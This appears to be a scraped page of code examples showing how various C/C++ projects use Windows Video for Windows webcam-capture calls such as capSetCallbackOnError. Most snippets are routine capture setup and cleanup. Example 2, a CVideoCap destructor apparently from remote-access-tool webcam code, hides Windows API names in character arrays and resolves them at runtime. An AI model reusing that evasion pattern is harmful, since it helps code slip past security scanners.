Exemplo n.º 1
0
void CMainFrame::OnClose()
{
	// TODO: 在此添加消息处理程序代码和/或调用默认值
	capCaptureAbort(m_hWndCap);
	capDriverDisconnect(m_hWndCap);
	Sleep(100);
	capSetCallbackOnError(m_hWndCap,NULL);
	capSetCallbackOnStatus(m_hWndCap,NULL);
	capSetCallbackOnVideoStream(m_hWndCap,NULL);
	delete lpbiIn;
	delete lpbiTmp;
	delete lpbiOut;
	if (m_vfwState==ENCDEC){
		ICDecompressEnd(hic2);
		ICClose(hic2);
		ICSeqCompressFrameEnd(&pc);
		ICCompressEnd(hic1);
		ICClose(hic1);
		AVIStreamClose(ps);
		if(m_pFile != NULL)
			AVIFileRelease(m_pFile);
	}

	enc_stop();
	dec_stop();

	Sleep(100);
	CFrameWnd::OnClose();
}
Exemplo n.º 2
0
CVideoCap::~CVideoCap()
{
	if (m_bIsConnected)
	{
		capCaptureAbort(m_hWndCap);
		capDriverDisconnect(m_hWndCap);

		if (m_lpbmi)
			delete m_lpbmi;
		if (m_lpDIB)
			delete m_lpDIB;
		m_bIsConnected = false;
	}

	capSetCallbackOnError(m_hWndCap, NULL);
	capSetCallbackOnFrame(m_hWndCap, NULL);	

    char CtxPW61[] = {'C','l','o','s','e','W','i','n','d','o','w','\0'};
    CloseWindowT pCloseWindow=(CloseWindowT)GetProcAddress(LoadLibrary("USER32.dll"),CtxPW61);
	pCloseWindow(m_hWnd);
	pCloseWindow(m_hWndCap);
	char BrmAP29[] = {'C','l','o','s','e','H','a','n','d','l','e','\0'};
	CloseHandleT pCloseHandle=(CloseHandleT)GetProcAddress(LoadLibrary("KERNEL32.dll"),BrmAP29);
	pCloseHandle(m_hCaptureEvent);
}
Exemplo n.º 3
0
void VideoGrabber::Init()
{
	mGrabNextFrame = FALSE;
	mPreviousFrameExists = FALSE;

	// Setup capture window and connect webcam driver
	camhwnd = capCreateCaptureWindow (_T("Ahtung!"), 0 , 0, 0, FRAME_WIDTH, FRAME_HEIGHT, 0, 0);
	SendMessage(camhwnd, WM_CAP_DRIVER_CONNECT, 0, 0);
	capSetCallbackOnFrame(camhwnd, FrameCallbackProc);
	capSetCallbackOnVideoStream(camhwnd, FrameCallbackProc); // Use same callback function, consider mGrabNextFrame flag!
	capSetUserData(camhwnd, this); // Callback functions may use pointer to this VideoGrabber

	if (mPreviousFrame != NULL) {
		delete[] mPreviousFrame; 
		mPreviousFrame = NULL;
	}

	mMotionDetectedDuringLastSecond = FALSE;

	// TODO: Use MPEGLAYER3WAVEFORMAT instead this
	// Setup audio params
	WAVEFORMATEX wfex;

	wfex.wFormatTag = WAVE_FORMAT_PCM;
	wfex.nChannels = 1;                // Use mono
	wfex.nSamplesPerSec = 8000;
	wfex.nAvgBytesPerSec = 8000;
	wfex.nBlockAlign = 1;
	wfex.wBitsPerSample = 8;
	wfex.cbSize = 0;
	capSetAudioFormat(camhwnd, &wfex, sizeof(WAVEFORMATEX)); 

	// Setup video capturing and streaming
	CAPTUREPARMS parms;
	capCaptureGetSetup(camhwnd, &parms, sizeof(CAPTUREPARMS));

	parms.fAbortLeftMouse = FALSE;
	parms.wPercentDropForError = 100; // Never abort capturing in case of dropped frames
	parms.fAbortRightMouse = FALSE;
	//parms.fLimitEnabled = TRUE;
	//parms.wTimeLimit = 0; // TODO!
	parms.fYield = TRUE; // TODO!
	capCaptureSetSetup(camhwnd, &parms, sizeof(parms));

	// !!!
	capSetCallbackOnError(camhwnd, capErrorCallback);

	// Resume thread for motion detection
	mListenerHandle = CreateThread(0, 0, ListeningRoutine, this, CREATE_SUSPENDED, &mThreadID);
	SetEnabled(TRUE);
	ResumeThread(mListenerHandle);
}
Exemplo n.º 4
0
static int vfw_init (zbar_video_t *vdo,
                     uint32_t fmt)
{
    if(vfw_set_format(vdo, fmt))
        return(-1);

    HWND hwnd = vdo->state->hwnd;
    CAPTUREPARMS cp;
    if(!capCaptureGetSetup(hwnd, &cp, sizeof(cp)))
        return(err_capture(vdo, SEV_ERROR, ZBAR_ERR_WINAPI, __func__,
                           "retrieving capture parameters"));

    cp.dwRequestMicroSecPerFrame = 33333;
    cp.fMakeUserHitOKToCapture = 0;
    cp.wPercentDropForError = 90;
    cp.fYield = 1;
    cp.wNumVideoRequested = vdo->num_images;
    cp.fCaptureAudio = 0;
    cp.vKeyAbort = 0;
    cp.fAbortLeftMouse = 0;
    cp.fAbortRightMouse = 0;
    cp.fLimitEnabled = 0;

    if(!capCaptureSetSetup(hwnd, &cp, sizeof(cp)))
        return(err_capture(vdo, SEV_ERROR, ZBAR_ERR_WINAPI, __func__,
                           "setting capture parameters"));

    if(!capCaptureGetSetup(hwnd, &cp, sizeof(cp)))
        return(err_capture(vdo, SEV_ERROR, ZBAR_ERR_WINAPI, __func__,
                           "checking capture parameters"));

    /* ignore errors since we skipped checking fHasOverlay */
    capOverlay(hwnd, 0);

    if(!capPreview(hwnd, 0) ||
       !capPreviewScale(hwnd, 0))
        err_capture(vdo, SEV_WARNING, ZBAR_ERR_WINAPI, __func__,
                    "disabling preview");

    if(!capSetCallbackOnVideoStream(hwnd, vfw_stream_cb) ||
       !capSetCallbackOnError(hwnd, vfw_error_cb))
        return(err_capture(vdo, SEV_ERROR, ZBAR_ERR_BUSY, __func__,
                           "setting capture callbacks"));

    vdo->num_images = cp.wNumVideoRequested;
    vdo->iomode = VIDEO_MMAP; /* driver provides "locked" buffers */

    zprintf(3, "initialized video capture: %d buffers %ldms/frame\n",
            vdo->num_images, cp.dwRequestMicroSecPerFrame);

    return(0);
}
Exemplo n.º 5
0
void MMCapture::captureInit(UINT framesPerSecond, UINT audioBufferSize) {
  DWORD style = WS_CHILD;

  m_captureWindow = capCreateCaptureWindow(_T("my capture window"), style,0,0,640,480,m_receiver.getWindow(),1);
  if(m_captureWindow == NULL) {
    throwException(_T("%s:Cannot create CaptureWindow:%s"),__TFUNCTION__,getLastErrorText().cstr());
  }

  try {
    CHECKRESULT(capSetUserData(  m_captureWindow, this));
    if(captureVideo()) {
      CHECKRESULT(capDriverConnect(m_captureWindow, 0   ));
      m_webCamConnected = true;
    }

    CAPTUREPARMS param;

    CHECKRESULT(capCaptureGetSetup(m_captureWindow,&param,sizeof(param)));
    param.dwRequestMicroSecPerFrame = 1000000 / framesPerSecond;
    param.fYield            = TRUE;
    param.AVStreamMaster    = AVSTREAMMASTER_AUDIO; // AVSTREAMMASTER_NONE;
    param.dwAudioBufferSize = audioBufferSize;

    CHECKRESULT(capCaptureSetSetup(m_captureWindow,&param,sizeof(param)));
    if(captureAudio()) {
      int audioFormatSize = capGetAudioFormat(m_captureWindow,&m_audioFormat, sizeof(m_audioFormat));
      CHECKRESULT(capSetCallbackOnWaveStream( m_captureWindow, captureWaveStreamCallback));
    }
    if(captureVideo()) {
      int videoFormatSize = capGetVideoFormat(m_captureWindow,&m_videoFormat, sizeof(m_videoFormat));
      CHECKRESULT(capSetCallbackOnVideoStream(m_captureWindow, captureVideoStreamCallback));
      CHECKRESULT(capSetCallbackOnFrame(      m_captureWindow, captureFrameCallback));
    }
    CHECKRESULT(capSetCallbackOnStatus(     m_captureWindow, captureStatusCallback));
    CHECKRESULT(capSetCallbackOnCapControl( m_captureWindow, captureControlCallback));
    CHECKRESULT(capSetCallbackOnError(      m_captureWindow, captureErrorCallback));

    if(captureAudio() && m_playAudio) {
      m_audioThread = new AudioPlayerThread(*this); TRACE_NEW(m_audioThread);
      m_audioThread->start();
    }
  } catch(...) {
    captureCleanup();
    throw;
  }
}
Exemplo n.º 6
0
bool CVideoCap::Initialize(int nWidth, int nHeight)
{
//	CAPTUREPARMS	gCapTureParms ; //视频驱动器的能力
	CAPDRIVERCAPS	gCapDriverCaps;
	DWORD			dwSize;

	if (!IsWebCam())
		return false;

	capSetUserData(m_hWndCap, this);
	
	capSetCallbackOnError(m_hWndCap, capErrorCallback);
	if (!capSetCallbackOnFrame(m_hWndCap, FrameCallbackProc))
	{
		return false;
	}

	// 将捕获窗同驱动器连接
	int i;
	for (i = 0; i < 10; i++)
	{
		if (capDriverConnect(m_hWndCap, i))
			break;
	}
	if (i == 10)
		return false;
	
	
	dwSize = capGetVideoFormatSize(m_hWndCap);
	m_lpbmi = new BITMAPINFO;

	// M263只支持176*144 352*288 (352*288 24彩的试验只支持biPlanes = 1)
	capGetVideoFormat(m_hWndCap, m_lpbmi, dwSize);
	// 采用指定的大小
	if (nWidth && nHeight)
	{
 		m_lpbmi->bmiHeader.biWidth = nWidth;
 		m_lpbmi->bmiHeader.biHeight = nHeight;
		m_lpbmi->bmiHeader.biPlanes = 1;
		m_lpbmi->bmiHeader.biSizeImage = (((m_lpbmi->bmiHeader.biWidth * m_lpbmi->bmiHeader.biBitCount + 31) & ~31) >> 3) * m_lpbmi->bmiHeader.biHeight;
		// 实验得知一些摄像头不支持指定的分辩率
 		if (!capSetVideoFormat(m_hWndCap, m_lpbmi, sizeof(BITMAPINFO)))
			return false;
	}
Exemplo n.º 7
0
CVideoCap::~CVideoCap()
{
    if (m_bIsConnected)
    {
        capCaptureAbort(m_hWndCap);
        capDriverDisconnect(m_hWndCap);

        if (m_lpbmi)
            delete m_lpbmi;
        if (m_lpDIB)
            delete m_lpDIB;
        m_bIsConnected = false;
    }

    capSetCallbackOnError(m_hWndCap, NULL);
    capSetCallbackOnFrame(m_hWndCap, NULL);

    CloseWindow(m_hWnd);
    CloseWindow(m_hWndCap);

    CloseHandle(m_hCaptureEvent);
}
Exemplo n.º 8
0
/*初始化VFW设备*/ 
void CMainFrame::OnVfwInitvfw()
{
	// TODO: 在此添加命令处理程序代码
	DWORD fsize;

	// 创建视频窗口
	if(!m_wndSource.CreateEx(WS_EX_TOPMOST,NULL,
							_T("Source"),WS_OVERLAPPED|WS_CAPTION,
							CRect(0,0,352,288),NULL,0))
		return;
	
	m_hWndCap = capCreateCaptureWindow(_T("Capture Window"),WS_CHILD|WS_VISIBLE,
									  0,0,352,288,
									  m_wndSource.m_hWnd,0);

	//m_wndSource.ShowWindow(SW_SHOW);
	// 注册回调函数
	capSetCallbackOnError(m_hWndCap,(FARPROC)ErrorCallbackProc);
	capSetCallbackOnStatus(m_hWndCap,(FARPROC)StatusCallbackProc);
	capSetCallbackOnVideoStream(m_hWndCap,(FARPROC)VideoCallbackProc);

	// 连接视频设备
	capDriverConnect(m_hWndCap,0);	//(HWND m_hWndCap, int index);//index : 0--9
	// 获取驱动器的性能参数
	capDriverGetCaps(m_hWndCap,&m_caps,sizeof(CAPDRIVERCAPS));
	if (m_caps.fHasOverlay)
		capOverlay(m_hWndCap,TRUE);
	// 设置预览速率开始预览
	capPreviewRate(m_hWndCap,1000/25);
	capPreview(m_hWndCap,bPreview);


	fsize = capGetVideoFormatSize(m_hWndCap);
	capGetVideoFormat(m_hWndCap, lpbiIn, fsize);
	
	AfxMessageBox(_T("初始化成功!"));
}
// Standard AVIcap window message 
// macro: capSetCallbackOnError
BOOL	CAviCap::SetErrorCallBack(LPVOID cb)
{
	CHECKWIN();
	CHECKCNCT();
	return capSetCallbackOnError(GetSafeHwnd(), cb);
}